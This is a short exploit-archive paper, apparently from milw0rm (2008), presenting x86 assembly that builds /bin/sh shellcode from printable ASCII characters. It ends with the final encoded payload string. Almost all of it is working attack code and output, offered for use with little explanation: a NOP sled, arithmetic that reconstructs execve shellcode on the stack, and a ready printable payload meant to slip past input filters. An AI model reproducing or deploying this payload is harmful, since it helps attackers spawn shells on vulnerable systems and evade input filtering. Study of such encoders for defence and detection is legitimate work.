{========================================================================}
{    /bin/sh Polymorphic shellcode with printable ASCII characters       }
{========================================================================}

A paper by the FHM crew:

http://fhm.noblogs.org

Contact us at:

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sorrow: rawhazard@autistici.org; betat@hotmail.it

--------------------------------------------

fhm crew: fhm@autistici.org; freehackersmind@gmail.com

--------------------------------------------


Assembly code for /bin/sh polymorphic shellcode:

BITS 32
;assembly code for polymorphic shellcode
push esp           ; Put current ESP
pop eax            ;   into EAX.
sub eax,0x39393333 ; Subtract printable values
sub eax,0x72727550 ;   to add 860 to EAX.
sub eax,0x54545421
push eax           ; Put EAX back into ESP.
pop esp            ;   Effectively ESP = ESP + 860
and eax,0x454e4f4a
and eax,0x3a313035 ; Zero out EAX.
sub eax,0x346d6d25 ; Subtract printable values
sub eax,0x256d6d25 ;   to make EAX = 0x80cde189.
sub eax,0x2557442d ;   (last 4 bytes from shellcode.bin)
push eax           ; Push these bytes to stack at ESP.
sub eax,0x59316659 ; Subtract more printable values
sub eax,0x59667766 ; to make EAX = 0x53e28951.
sub eax,0x7a537a79 ; (next 4 bytes of shellcode from the end)
push eax
sub eax,0x25696969
sub eax,0x25786b5a
sub eax,0x25774625
push eax           ; EAX = 0xe3896e69
sub eax,0x366e5858
sub eax,0x25773939
sub eax,0x25747470
push eax           ; EAX = 0x622f6868
sub eax,0x25257725
sub eax,0x71717171
sub eax,0x5869506a
push eax           ; EAX = 0x732f2f68
sub eax,0x63636363
sub eax,0x44307744
sub eax,0x7a434957
push eax           ; EAX = 0x51580b6a
sub eax,0x63363663
sub eax,0x6d543057
push eax           ; EAX = 0x80cda4b0
sub eax,0x54545454
sub eax,0x304e4e25
sub eax,0x32346f25
sub eax,0x302d6137
push eax           ; EAX = 0x99c931db
sub eax,0x78474778
sub eax,0x78727272
sub eax,0x774f4661
push eax           ; EAX = 0x31c03190
sub eax,0x41704170
sub eax,0x2d772d4e
sub eax,0x32483242
push eax           ; EAX = 0x90909090
push eax
push eax           ; Build a NOP sled.
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax

Then use nasm on the assembly code (nasm asmcode.s) and print it (echo $(cat ./asmcode) ), you will obtain this output:

-[final code]-
TX-3399-Purr-!TTTP\%JONE%501:-%mm4-%mm%--DW%P-Yf1Y-fwfY-yzSzP-iii%-Zkx%-%Fw%P-XXn6- 99w%-ptt%P-%w%%-qqqq-jPiXP-cccc-Dw0D-WICzP-c66c-W0TmP-TTTT-%NN0-%o42-7a-0P-xGGx-rrrx- aFOwP-pApA-N-w--B2H2PPPPPPPPPPPPPPPPPPPPPP
-[/final code]-

That string is your polymorphic shellcode with printable ascii characters.

# milw0rm.com [2008-08-31]